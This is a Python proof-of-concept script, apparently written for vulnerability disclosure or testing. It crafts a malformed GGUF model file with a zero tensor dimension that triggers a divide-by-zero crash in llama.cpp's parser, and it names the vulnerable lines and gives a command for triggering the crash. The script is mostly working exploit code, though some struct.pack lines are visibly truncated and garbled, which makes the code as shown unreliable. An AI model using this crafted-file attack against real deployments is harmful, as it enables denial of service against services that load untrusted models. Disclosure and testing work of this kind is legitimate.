#!/usr/bin/env python3 """ PoC: Divide-by-zero in llama.cpp GGUF parser via zero tensor dimension. Vulnerability: In ggml/src/gguf.cpp lines 550-552, the overflow check does: if (ok && ((INT64_MAX/info.t.ne[1] <= info.t.ne[0]) || ...)) The dimensions ne[0..3] are validated for < 0 at line 541 but NOT for == 0. A dimension of 0 passes the < 0 check, then INT64_MAX / 0 triggers undefined behavior (divide-by-zero crash / SIGFPE on most platforms). Attack vector: - Craft a GGUF file with 1 tensor - Tensor has n_dims=2, ne[0]=32 (valid for F32 block size), ne[1]=0 - ne[2] and ne[3] default to 1 (set at line 535) - The parser reads ne[0]=32, ne[1]=0, then at line 550: INT64_MAX / info.t.ne[1] => INT64_MAX / 0 => CRASH GGUF v3 binary format for tensor info: - name: string (uint64 length + chars) - n_dims: uint32 - ne[0..n_dims-1]: int64 each - type: int32 (ggml_type) - offset: uint64 """ import struct import os # GGUF constants GGUF_MAGIC = b"GGUF" GGUF_VERSION = 3 GGUF_TYPE_STRING = 8 GGUF_TYPE_UINT32 = 4 # ggml type constants GGML_TYPE_F32 = 0 def write_string(f, s): """Write a GGUF string: uint64 length + chars (no null terminator).""" encoded = s.encode('utf-8') f.write(struct.pack(' CRASH f.write(struct.pack(' divide-by-zero") print(f"[*]") print(f"[*] Test with:") print(f"[*] ./llama-cli -m {output_path} -p 'hello'") print(f"[*] Expected: Floating point exception (SIGFPE) or crash") if __name__ == "__main__": os.makedirs("/Users/eltarne/Documents/script/gguf_poc", exist_ok=True) output_path = "/Users/eltarne/Documents/script/gguf_poc/poc_divzero.gguf" create_divzero_gguf(output_path)